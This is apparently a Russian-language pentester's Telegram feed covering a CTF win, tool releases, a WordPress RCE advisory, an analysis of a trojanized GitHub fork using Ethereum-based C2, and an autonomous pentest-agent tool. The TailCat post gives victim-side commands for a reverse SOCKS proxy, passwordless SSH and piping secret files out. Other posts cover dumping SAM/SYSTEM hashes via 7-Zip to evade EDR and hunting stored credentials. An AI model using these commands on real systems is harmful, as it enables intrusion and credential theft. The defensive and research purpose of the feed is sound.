s0ld13r ch.

🏆 FR13NDS TEAM - двухкратные чемпионы KazHackStan! 🥇 29–30 сентября 2026 года наша команда FR13NDS TEAM приняла участие в KazHackStan Cyberkumbez 2026 и второй год подряд заняла 1 место! 🔴 ⚡ Соревнование проходило в формате 30-часового нон-стопа, в котором приняли участие порядка 40 команд. За время кибербитвы нам удалось: — реализовать 5 бизнес-рисков в инфраструктуре киберполигона; — реализовать 3 риска в SCADA; — решить 4 Hardware-задачи. Благодарим организаторов, всех причастных, а также поздравляем призёров и участников соревнования! 🤝 🎥 Также мы выпустили видеоблог о нашем участии в KazHackStan 2026 🎞️ Ссылка на видео: https://youtu.be/5HrfzVSnhbQ

/goal

/goal "Hey Claude, find me critical unauth RCE make no mistake" 🦅️️️️️️ 😃 #meme 🧢 s0ld13r

FFmpeg Pentest Guide 😍 В этот раз решил написать ресерч с упором на пентест мобилок. Если конкретнее, то на FFmpeg, который является индустриальным стандартом обработки видео и аудио в Android-приложениях. Под него уже есть более 550 CVE, включая несколько RCE. 😊 Но проблема в том, что сам факт наличия FFmpeg в мобильном приложении практически ничего не даёт. Нужно понять, какая именно версия, что реально собрано, какой код живой, а какой нет, и можно ли вообще построить вектор атаки. В своём ресерче разобрал все эти моменты и наглядно показал, какие уязвимости действительно встречаются и как их использовать. ➡️ Ссылка на статью 💫 @pentestnotes

Послушал очень крутой доклад по IOS хакингу от @serj_ws с кейсами от команды Freedom SuperApp ✌️😃 Прям очень залетела тема мобилок, может позже залью несколько постов на эту тему 🤓 Спасибо Сержу! P.S Но это не точно 🤩 🧢 s0ld13r

Ну че пацаны, АРТ?)

Bug Bounty в KZ в одной картинке 😄 🧢 s0ld13r

Screamer - Fast Network Discovery Частенько во время пентестов внутрянки приходится сталкиваться с ситуациями когда надо сделать пробу "живых" подсетей при этом не нагружая канал тяжелыми сканами 😎 Мой хороший друг Ifrit сделал классную утилиту чтобы решить эту бытовую проблему 😺 Установка

sudo pipx install --global git+https://github.com/ifritnoises/screamer

AUR (Arch) yay -S screamer BlackArch sudo pacman -S screamer 💻 github: https://github.com/ifritnoises/screamer 🔗 https://ifritnoises.org/articles/pattern-screamer/ 🧢 s0ld13r

Недавно попалась на глаза интересная публикация от Elastic, и я поймал себя на мысли, что тема Observability vs Security до сих пор остаётся одной из самых недооценённых слепых зон в архитектуре многих SOC и ИТ-блоков. Захотелось поделиться своим мнением на этот счёт. Если очистить термины от маркетинга, обе системы смотрят на одну и ту же инфраструктуру, но из разных сторон: Observability (ИТ-наблюдаемость) - это врач скорой помощи. Ей важен пульс и давление системы: чтобы ничего не «падало», CPU не грелся, а сервисы откликались быстро. Задаётся вопросом: «Почему всё тормозит?» - и стремится решить проблему как можно быстрее.   Security Monitoring (Мониторинг ИБ) - это детектив. Ему не так важна производительность, ему важен умысел. Задаётся вопросом: «Кто это сделал и куда утекают данные?», то есть разбирает ситуацию с точки зрения причинно-следственной связи.   В чём главный конфликт и где кроются риски? На практике эти два направления почти всегда разведены по разным платформам и командам. В итоге мы получаем две классические проблемы: 1.     Экономическая: компании дважды платят за обработку и хранение одних и тех же данных (Syslog, NetFlow, DNS) в двух разных «корзинах». 2.     Операционная (самая опасная): атаки сегодня идеально маскируются под обычный инфраструктурный шум. Классический кейс из статьи Elastic: ночью у сервера взлетает CPU до 97%. Дежурный инженер IT/DevOps заходит в консоль мониторинга, видит аномальную нагрузку, перезагружает хост и со спокойной душой закрывает тикет со статусом «Resolved». А что на самом деле? За 6 часов до этого туда задеплоили майнер, замаскированный под системный поток ядра. В итоге ИТ отчиталось об устранении сбоя, Security вообще ничего не узнало, а хакеры спокойно продолжают крутить свои процессы. Резюмируя, можно сказать следующее: Observability отвечает на вопрос «Система жива?», а Security - «Систему не взломали?». Пока они живут в разных системах, мы видим только половину картины. Общий контекст - это не просто экономия на хранении логов, это единственная возможность оперативно выявить и заблокировать атаку до того, как она превратится в инцидент. Ссылка на ту самую статью Elastic: elastic.co/blog

TailCat Red Team use case 😎 Несколько дней назад ребята из TailScale выпустили свой инструмент tailcat, как можно понять из названия, это аналог netcat но работающий из коробки через сеть TailScale 🤩 Первой моей мыслью стало что инструментом начнут активно пользоваться атакующие и решил расписать разные примеры применения нового "условно легитимного" софта 😃 🔢 SOCKS5 Reverse Proxy Можно использовать машину жертвы как exit-node и через неё получать доступ к внутренней сети. На машине жертвы запускаем следующую команду: tailcat --serve=exit-node По умолчанию tailcat socks поднимает SOCKS5 на случайном порту и передаёт адрес и порт через переменную окружения. Чтобы не возиться с этим каждый раз, я написал небольшой wrapper под названием tcsocks, который поднимает локальный SOCKS5 на 1080 (порт можно поменять). На машине оператора запускаем: tcsocks -q <token> А дальше как обычно пользуемся proxychains: proxychains -f proxy.conf -q nxc rdp 192.168.0.0/24 🔢 SSH доступ без авторизации Tailcat также позволяет в user mode слушать SSH от пользователя, без необходимости вводить пароль, это особенно удобно если был нестабильный шелл и нужно было использовать альтернативный канал. Сперва слушаем No Auth SSH на машине жертвы: tailcat --serve=no-auth-ssh Далее подключаемся по токену с машины оператора: tailcat ssh <token> 🔢 Эксфильтрация данных через pipe Ну и классика - эксфильтрация файлов через pipe на машине жертвы запускаем:

cat secret.txt | tailcat <token>

На машине оператора запускаем: tailcat > secret.txt Из плюсов вижу то, что инструмент условно легитимный и работает из коробки, с открытым исходным кодом который можно кастомизировать под свои нужды 😎 💻 tcsocks: https://gist.github.com/s0ld13rr/18e2765da1831af0a656e7bb0a819e73 💻 tailcat: https://github.com/tailscale/tailcat 🧢 s0ld13r

Всем привет! Решил создать личный канал в Telegram! Добро пожаловать! Идейный вдохновитель и человек, который чаще всех спрашивал, когда я уже его создам — Аскар @rockyou. Аскар, держи! 😉

Канал моего хорошего друга, рекомендую подписаться 😃

В свете последних новостей про eGov, актуалочка 🤣😃 🧢 s0ld13r

Дампим SAM/SYSTEM через 7-Zip Знакомая ситуация: вы на машине юзера, нужно достать хеши, но  reg save  или  copy  блокируются EDR, файлы заблокированы самой Windows, а антивирус палит известные утилиты. Но на рабочих станциях часто установлен 7-Zip! И у него есть крутая недокументированная фича - прямое чтение диска (raw disk access). А можно использовать и для DFIR извлекать MFT и т.д. Чем проще и банальнее тем лучше : )

PentestCode v0.2.4 is out 🤩 Выкатил новую версию PentestCode с несколькими улучшениями, в основном правил мультиагентную архитектуру и жесткость границ между их работой 😺 😱 Что изменилось: • Добавил полноценный Artifact Store. Теперь PoC, сгенерированные одним саб-агентом, регистрируются в state и переиспользуются другими вместо повторной генерации • Полностью переделал работу с engagement state. Саб-агенты получают только релевантный контекст, что заметно сократило расход токенов • Координатор теперь реально координирует, а не пытается сам делать всю работу. Добавил рейлы, watchdog’и, лимиты и защиту от бесконечных циклов • Усилил самокритику. Недостаточно сказать «есть root» - любой успешный результат должен подтверждаться артефактом, иначе это только suspected • Подточил reconnaissance skills и порядок их загрузки 👩‍💻 Обновление: pentestcode upgrade P.S Еще есть куда расти дальше поэтому обратная связь, баги, кейсы успешных/провальных прогонов приветствуются 😉 🧢 s0ld13r

Supply-chain атака: EtherHiding C2 во вредоносном форке PentestCode 🕺 Пока просматривал форки своего проекта PentestCode, наткнулся на довольно странные коммиты в одном из них.

⚠️ Сразу отмечу: оригинальный репозиторий PentestCode не был скомпрометирован. Вредоносный код находился исключительно в стороннем форке

Решил разобраться, что именно туда добавили. В итоге обычная проверка форка превратилась в полноценный malware research с обширной кампанией. После нескольких этапов деобфускации выяснилось, что это не простой downloader и не очередной стилер, а многоступенчатый JavaScript-бэкдор с удалённым исполнением кода (RCE), использующий технику EtherHiding 😃 🔍 Что удалось установить: • 4 уровня обфускации и самораспаковки; • получение C2 через блокчейн Ethereum без единого захардкоженного IP; • поиск C2 по транзакциям атакующего через публичные Ethereum RPC; • декодирование IP:Port прямо из поля to; • загрузка stage-2 → stage-3; • несколько способов исполнения payload (spawn, eval и резервный запуск); • скрытый запуск процессов (windowsHide, stdio: ignore); • переход из WSL2 на Windows-хост через node.exe Самое интересное - C2 вообще не зашит в код. Вместо этого используется Ethereum как dead-drop: новая транзакция публикует новый адрес C2, и заражённые машины автоматически начинают обращаться уже к нему. Такой подход серьёзно усложняет блокировку инфраструктур 🦍 Но дальше стало ещё интереснее - вредоносный форк принадлежит GitHub-аккаунту KumaloWilson. На аккаунте почти 200 публичных репозиториев, большинство последних - форки инструментов для специалистов по ИБ и AI-разработчиков 🙀 Среди них: • PentestCode • KaliGPT • Kittysploit • Meterless • Nebula • cybersentinel-ai • AhMyth+ • и другие. Сложилось впечатление, что злоумышленники целенаправленно троянизируют проекты, которые с высокой вероятностью будут запускать пентестеры, ресерчеры и разработчики - именно там обычно находятся SSH-ключи, GitHub Token, .env, облачные креды и криптокошельки 😎 При этом нет доказательств, что владелец аккаунта KumaloWilson является автором кампании. Не исключено, что сам аккаунт был скомпрометирован и использовался для распространения вредоносных форков 💻 Полный список IoC в комментариях, проверяйте не только то, что запускаете, но и откуда вы это клонируете 😉 🧢 s0ld13r

🚨 WP2Shell - критический RCE в WordPress Core Исследователи опубликовали детали уязвимости WP2Shell, которая позволяет неаутентифицированному атакующему добиться Remote Code Execution (RCE) на уязвимых версиях WordPress 👩‍💻 📌 Затронутые версии: • WordPress ниже 6.8.5 - не уязвимы • WordPress 6.9.0 – 6.9.4 - уязвимы • WordPress 7.0.0 – 7.0.1 - уязвимы 👀 Что делать? • Необходимо как можно скорее обновить версию CMS WordPress до версии 7.0.2 (или 6.9.5 если вы на ветке 6.9) • Если обновиться не получиться, то можно временно заблокировать доступ к /wp-json/batch/v1 и ?rest_route=/batch/v1 на уровне WAF ⚠️ Учитывайте что могут появиться проблемы в работе сервиса и вариант с обновлением предпочтительнее 🔗 Post: https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ 🧢 s0ld13r

🛠 Всем привет. Я тут допилил CLI-движок для LOLCreds на Go. Называется это безобразие CredsHound. Если коротко, это такая утилита для поиска учетных данных, ключей на хосте, которая работает по концепции Nuclei. Из коробки она ищет: - Пароли и API-ключи, забытые в истории терминалов (.bash_history, .zsh_history, ConsoleHost_history.txt). - Приватные ключи SSH, конфигурации Kubernetes и токены Docker Registry. - Артефакты Windows: пароли из файлов автоматической установки (Unattended XML), конфиги RDCMan и групповые политики с зашифрованными cpassword. - Локальные файлы конфигурации БД вроде .pgpass или .my.cnf. 🐶 Ну и интеграция с собакой тоже есть. Потому что просто выплевывать цветной текст в консоль скучно. 📖 Как запустить:

# установка go install github.com/haxxm0nkey/credshound/cmd/credshound@latest # запуск credshound -ut credshound .

🔗 Где исходники, Билли? Движок: https://github.com/haxxm0nkey/credshound Хорошей пятницы вам, держитесь там!